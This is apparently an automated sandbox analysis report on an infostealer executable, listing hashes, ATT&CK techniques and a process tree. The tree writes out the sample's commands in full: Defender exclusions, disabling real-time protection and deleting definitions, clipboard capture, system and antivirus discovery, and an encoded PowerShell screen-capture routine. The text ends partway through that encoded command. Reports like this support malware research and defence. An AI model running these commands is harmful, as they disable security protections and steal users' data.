25d97529fa389d0b36044fa44d7e8d80f6b00ca2d867d6d7371f5b97e088cdc2

Analysis

max time kernel
94s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
15-11-2024 20:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SKIG UPDATED.exe
Size

7.5MB
MD5

db1d4f8a088ea413516fa2eb618dc43e
SHA1

02d51cc6d9ef3e6de1ad6d05172bb361c8219ee1
SHA256

25d97529fa389d0b36044fa44d7e8d80f6b00ca2d867d6d7371f5b97e088cdc2
SHA512

ccdc33b456a39c91aac446ef4585e8b440a0b66478fae58bb5c1831e30a6b4e0960a4322733a3358c3a1ad907fdaf5a7e7b6895142afe7009983a33f12aa4ae1
SSDEEP

196608:oqgVVE1TwfI9jUC2gYBYv3vbW2+iITx1U6n8:wVVE1gIH2gYBgDWJTnz8

Score

8^/10

collection credential_access defense_evasion discovery execution spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

464 powershell.exe
3624 powershell.exe
116 powershell.exe
4492 powershell.exe
976 powershell.exe
Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
collection

Clipboard Data
T1115

Processes:

cmd.exepowershell.exe

pid process

1468 cmd.exe
3732 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

rar.exe

pid process

1204 rar.exe

pid	process
464	powershell.exe
3624	powershell.exe
116	powershell.exe
4492	powershell.exe
976	powershell.exe

pid	process
1468	cmd.exe
3732	powershell.exe

pid	process
1204	rar.exe

Loads dropped DLL 17 IoCs

Processes:

SKIG UPDATED.exe

pid	process
1304	SKIG UPDATED.exe
1304	SKIG UPDATED.exe
1304	SKIG UPDATED.exe
1304	SKIG UPDATED.exe
1304	SKIG UPDATED.exe
1304	SKIG UPDATED.exe
1304	SKIG UPDATED.exe
1304	SKIG UPDATED.exe
1304	SKIG UPDATED.exe
1304	SKIG UPDATED.exe
1304	SKIG UPDATED.exe
1304	SKIG UPDATED.exe
1304	SKIG UPDATED.exe
1304	SKIG UPDATED.exe
1304	SKIG UPDATED.exe
1304	SKIG UPDATED.exe
1304	SKIG UPDATED.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

12 ip-api.com
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates processes with tasklist 1 TTPs 4 IoCs
discovery

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exe

pid process

3068 tasklist.exe
3696 tasklist.exe
2292 tasklist.exe
5048 tasklist.exe

flow	ioc
12	ip-api.com

pid	process
3068	tasklist.exe
3696	tasklist.exe
2292	tasklist.exe
5048	tasklist.exe

UPX packed file 56 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\_MEI39722\python312.dll	upx
behavioral2/memory/1304-25-0x00007FF8E8780000-0x00007FF8E8E45000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI39722\libffi-8.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI39722\_ctypes.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI39722\_ssl.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI39722\_sqlite3.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI39722\_socket.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI39722\_queue.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI39722\_lzma.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI39722\_hashlib.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI39722\_decimal.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI39722\_bz2.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI39722\unicodedata.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI39722\sqlite3.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI39722\select.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI39722\libssl-3.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI39722\libcrypto-3.dll	upx
behavioral2/memory/1304-32-0x00007FF8FDC40000-0x00007FF8FDC4F000-memory.dmp	upx
behavioral2/memory/1304-31-0x00007FF8FC780000-0x00007FF8FC7A5000-memory.dmp	upx
behavioral2/memory/1304-54-0x00007FF8F7DC0000-0x00007FF8F7DED000-memory.dmp	upx
behavioral2/memory/1304-56-0x00007FF8F8080000-0x00007FF8F809A000-memory.dmp	upx
behavioral2/memory/1304-60-0x00007FF8E7FF0000-0x00007FF8E816F000-memory.dmp	upx
behavioral2/memory/1304-59-0x00007FF8F78D0000-0x00007FF8F78F4000-memory.dmp	upx
behavioral2/memory/1304-62-0x00007FF8F78B0000-0x00007FF8F78C9000-memory.dmp	upx
behavioral2/memory/1304-69-0x00007FF8FBA50000-0x00007FF8FBA5D000-memory.dmp	upx
behavioral2/memory/1304-72-0x00007FF8E79E0000-0x00007FF8E7F13000-memory.dmp	upx
behavioral2/memory/1304-73-0x00007FF8F7370000-0x00007FF8F73A3000-memory.dmp	upx
behavioral2/memory/1304-70-0x00007FF8E7F20000-0x00007FF8E7FEE000-memory.dmp	upx
behavioral2/memory/1304-68-0x00007FF8E8780000-0x00007FF8E8E45000-memory.dmp	upx
behavioral2/memory/1304-75-0x00007FF8FB7C0000-0x00007FF8FB7D4000-memory.dmp	upx
behavioral2/memory/1304-78-0x00007FF8FB770000-0x00007FF8FB77D000-memory.dmp	upx
behavioral2/memory/1304-77-0x00007FF8FC780000-0x00007FF8FC7A5000-memory.dmp	upx
behavioral2/memory/1304-80-0x00007FF8E83D0000-0x00007FF8E84EA000-memory.dmp	upx
behavioral2/memory/1304-138-0x00007FF8F78D0000-0x00007FF8F78F4000-memory.dmp	upx
behavioral2/memory/1304-205-0x00007FF8E7FF0000-0x00007FF8E816F000-memory.dmp	upx
behavioral2/memory/1304-222-0x00007FF8E7F20000-0x00007FF8E7FEE000-memory.dmp	upx
behavioral2/memory/1304-232-0x00007FF8E79E0000-0x00007FF8E7F13000-memory.dmp	upx
behavioral2/memory/1304-238-0x00007FF8F7370000-0x00007FF8F73A3000-memory.dmp	upx
behavioral2/memory/1304-261-0x00007FF8FC780000-0x00007FF8FC7A5000-memory.dmp	upx
behavioral2/memory/1304-260-0x00007FF8E8780000-0x00007FF8E8E45000-memory.dmp	upx
behavioral2/memory/1304-266-0x00007FF8E7FF0000-0x00007FF8E816F000-memory.dmp	upx
behavioral2/memory/1304-291-0x00007FF8FC780000-0x00007FF8FC7A5000-memory.dmp	upx
behavioral2/memory/1304-299-0x00007FF8E7F20000-0x00007FF8E7FEE000-memory.dmp	upx
behavioral2/memory/1304-298-0x00007FF8FBA50000-0x00007FF8FBA5D000-memory.dmp	upx
behavioral2/memory/1304-297-0x00007FF8F78B0000-0x00007FF8F78C9000-memory.dmp	upx
behavioral2/memory/1304-296-0x00007FF8F7370000-0x00007FF8F73A3000-memory.dmp	upx
behavioral2/memory/1304-295-0x00007FF8F78D0000-0x00007FF8F78F4000-memory.dmp	upx
behavioral2/memory/1304-294-0x00007FF8F8080000-0x00007FF8F809A000-memory.dmp	upx
behavioral2/memory/1304-293-0x00007FF8F7DC0000-0x00007FF8F7DED000-memory.dmp	upx
behavioral2/memory/1304-292-0x00007FF8E7FF0000-0x00007FF8E816F000-memory.dmp	upx
behavioral2/memory/1304-289-0x00007FF8E83D0000-0x00007FF8E84EA000-memory.dmp	upx
behavioral2/memory/1304-288-0x00007FF8FB770000-0x00007FF8FB77D000-memory.dmp	upx
behavioral2/memory/1304-275-0x00007FF8E8780000-0x00007FF8E8E45000-memory.dmp	upx
behavioral2/memory/1304-290-0x00007FF8FDC40000-0x00007FF8FDC4F000-memory.dmp	upx
behavioral2/memory/1304-287-0x00007FF8FB7C0000-0x00007FF8FB7D4000-memory.dmp	upx
behavioral2/memory/1304-286-0x00007FF8E79E0000-0x00007FF8E7F13000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Detects videocard installed 1 TTPs 3 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exeWMIC.exeWMIC.exe

pid process

1416 WMIC.exe
1204 WMIC.exe
932 WMIC.exe
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.

System Information Discovery
T1082

Processes:

systeminfo.exe

pid process

4412 systeminfo.exe

pid	process
1416	WMIC.exe
1204	WMIC.exe
932	WMIC.exe

pid	process
4412	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
116	powershell.exe
464	powershell.exe
116	powershell.exe
464	powershell.exe
3624	powershell.exe
3624	powershell.exe
3732	powershell.exe
3732	powershell.exe
3732	powershell.exe
376	powershell.exe
376	powershell.exe
376	powershell.exe
4492	powershell.exe
4492	powershell.exe
1596	powershell.exe
1596	powershell.exe
976	powershell.exe
976	powershell.exe
1492	powershell.exe
1492	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

WMIC.exetasklist.exepowershell.exepowershell.exeWMIC.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	4412	WMIC.exe
Token: SeSecurityPrivilege	4412	WMIC.exe
Token: SeTakeOwnershipPrivilege	4412	WMIC.exe
Token: SeLoadDriverPrivilege	4412	WMIC.exe
Token: SeSystemProfilePrivilege	4412	WMIC.exe
Token: SeSystemtimePrivilege	4412	WMIC.exe
Token: SeProfSingleProcessPrivilege	4412	WMIC.exe
Token: SeIncBasePriorityPrivilege	4412	WMIC.exe
Token: SeCreatePagefilePrivilege	4412	WMIC.exe
Token: SeBackupPrivilege	4412	WMIC.exe
Token: SeRestorePrivilege	4412	WMIC.exe
Token: SeShutdownPrivilege	4412	WMIC.exe
Token: SeDebugPrivilege	4412	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4412	WMIC.exe
Token: SeRemoteShutdownPrivilege	4412	WMIC.exe
Token: SeUndockPrivilege	4412	WMIC.exe
Token: SeManageVolumePrivilege	4412	WMIC.exe
Token: 33	4412	WMIC.exe
Token: 34	4412	WMIC.exe
Token: 35	4412	WMIC.exe
Token: 36	4412	WMIC.exe
Token: SeDebugPrivilege	2292	tasklist.exe
Token: SeDebugPrivilege	116	powershell.exe
Token: SeDebugPrivilege	464	powershell.exe
Token: SeIncreaseQuotaPrivilege	4412	WMIC.exe
Token: SeSecurityPrivilege	4412	WMIC.exe
Token: SeTakeOwnershipPrivilege	4412	WMIC.exe
Token: SeLoadDriverPrivilege	4412	WMIC.exe
Token: SeSystemProfilePrivilege	4412	WMIC.exe
Token: SeSystemtimePrivilege	4412	WMIC.exe
Token: SeProfSingleProcessPrivilege	4412	WMIC.exe
Token: SeIncBasePriorityPrivilege	4412	WMIC.exe
Token: SeCreatePagefilePrivilege	4412	WMIC.exe
Token: SeBackupPrivilege	4412	WMIC.exe
Token: SeRestorePrivilege	4412	WMIC.exe
Token: SeShutdownPrivilege	4412	WMIC.exe
Token: SeDebugPrivilege	4412	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4412	WMIC.exe
Token: SeRemoteShutdownPrivilege	4412	WMIC.exe
Token: SeUndockPrivilege	4412	WMIC.exe
Token: SeManageVolumePrivilege	4412	WMIC.exe
Token: 33	4412	WMIC.exe
Token: 34	4412	WMIC.exe
Token: 35	4412	WMIC.exe
Token: 36	4412	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1204	WMIC.exe
Token: SeSecurityPrivilege	1204	WMIC.exe
Token: SeTakeOwnershipPrivilege	1204	WMIC.exe
Token: SeLoadDriverPrivilege	1204	WMIC.exe
Token: SeSystemProfilePrivilege	1204	WMIC.exe
Token: SeSystemtimePrivilege	1204	WMIC.exe
Token: SeProfSingleProcessPrivilege	1204	WMIC.exe
Token: SeIncBasePriorityPrivilege	1204	WMIC.exe
Token: SeCreatePagefilePrivilege	1204	WMIC.exe
Token: SeBackupPrivilege	1204	WMIC.exe
Token: SeRestorePrivilege	1204	WMIC.exe
Token: SeShutdownPrivilege	1204	WMIC.exe
Token: SeDebugPrivilege	1204	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1204	WMIC.exe
Token: SeRemoteShutdownPrivilege	1204	WMIC.exe
Token: SeUndockPrivilege	1204	WMIC.exe
Token: SeManageVolumePrivilege	1204	WMIC.exe
Token: 33	1204	WMIC.exe
Token: 34	1204	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

SKIG UPDATED.exeSKIG UPDATED.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 3972 wrote to memory of 1304	3972	SKIG UPDATED.exe	SKIG UPDATED.exe
PID 3972 wrote to memory of 1304	3972	SKIG UPDATED.exe	SKIG UPDATED.exe
PID 1304 wrote to memory of 1348	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 1348	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 3560	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 3560	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 4824	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 4824	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 5056	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 5056	1304	SKIG UPDATED.exe	cmd.exe
PID 1348 wrote to memory of 464	1348	cmd.exe	powershell.exe
PID 1348 wrote to memory of 464	1348	cmd.exe	powershell.exe
PID 5056 wrote to memory of 4412	5056	cmd.exe	WMIC.exe
PID 5056 wrote to memory of 4412	5056	cmd.exe	WMIC.exe
PID 4824 wrote to memory of 2292	4824	cmd.exe	tasklist.exe
PID 4824 wrote to memory of 2292	4824	cmd.exe	tasklist.exe
PID 3560 wrote to memory of 116	3560	cmd.exe	powershell.exe
PID 3560 wrote to memory of 116	3560	cmd.exe	powershell.exe
PID 1304 wrote to memory of 2648	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 2648	1304	SKIG UPDATED.exe	cmd.exe
PID 2648 wrote to memory of 3200	2648	cmd.exe	reg.exe
PID 2648 wrote to memory of 3200	2648	cmd.exe	reg.exe
PID 1304 wrote to memory of 1448	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 1448	1304	SKIG UPDATED.exe	cmd.exe
PID 1448 wrote to memory of 1920	1448	cmd.exe	reg.exe
PID 1448 wrote to memory of 1920	1448	cmd.exe	reg.exe
PID 1304 wrote to memory of 2080	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 2080	1304	SKIG UPDATED.exe	cmd.exe
PID 2080 wrote to memory of 1204	2080	cmd.exe	WMIC.exe
PID 2080 wrote to memory of 1204	2080	cmd.exe	WMIC.exe
PID 1304 wrote to memory of 2192	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 2192	1304	SKIG UPDATED.exe	cmd.exe
PID 2192 wrote to memory of 932	2192	cmd.exe	WMIC.exe
PID 2192 wrote to memory of 932	2192	cmd.exe	WMIC.exe
PID 1304 wrote to memory of 3136	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 3136	1304	SKIG UPDATED.exe	cmd.exe
PID 3136 wrote to memory of 3624	3136	cmd.exe	powershell.exe
PID 3136 wrote to memory of 3624	3136	cmd.exe	powershell.exe
PID 1304 wrote to memory of 2424	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 2424	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 3932	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 3932	1304	SKIG UPDATED.exe	cmd.exe
PID 3932 wrote to memory of 5048	3932	cmd.exe	tasklist.exe
PID 3932 wrote to memory of 5048	3932	cmd.exe	tasklist.exe
PID 2424 wrote to memory of 3068	2424	cmd.exe	tasklist.exe
PID 2424 wrote to memory of 3068	2424	cmd.exe	tasklist.exe
PID 1304 wrote to memory of 3040	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 3040	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 1468	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 1468	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 912	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 912	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 392	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 392	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 5020	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 5020	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 3440	1304	SKIG UPDATED.exe	cmd.exe
PID 1304 wrote to memory of 3440	1304	SKIG UPDATED.exe	cmd.exe
PID 3040 wrote to memory of 4304	3040	cmd.exe	WMIC.exe
PID 3040 wrote to memory of 4304	3040	cmd.exe	WMIC.exe
PID 1468 wrote to memory of 3732	1468	cmd.exe	powershell.exe
PID 1468 wrote to memory of 3732	1468	cmd.exe	powershell.exe
PID 5020 wrote to memory of 4412	5020	cmd.exe	systeminfo.exe
PID 5020 wrote to memory of 4412	5020	cmd.exe	systeminfo.exe

C:\Users\Admin\AppData\Local\Temp\SKIG UPDATED.exe
"C:\Users\Admin\AppData\Local\Temp\SKIG UPDATED.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3972
- C:\Users\Admin\AppData\Local\Temp\SKIG UPDATED.exe
  "C:\Users\Admin\AppData\Local\Temp\SKIG UPDATED.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SKIG UPDATED.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1348
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SKIG UPDATED.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3560
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4824
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2292
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5056
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2648
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
      4⤵
      PID:3200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1448
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
      4⤵
      PID:1920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2080
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious use of AdjustPrivilegeToken
      PID:1204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2192
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‍ .scr'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3136
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‍ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2424
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:3068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3932
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:5048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3040
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      PID:4304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:1468
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:3732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:912
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:3696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:392
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5020
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgA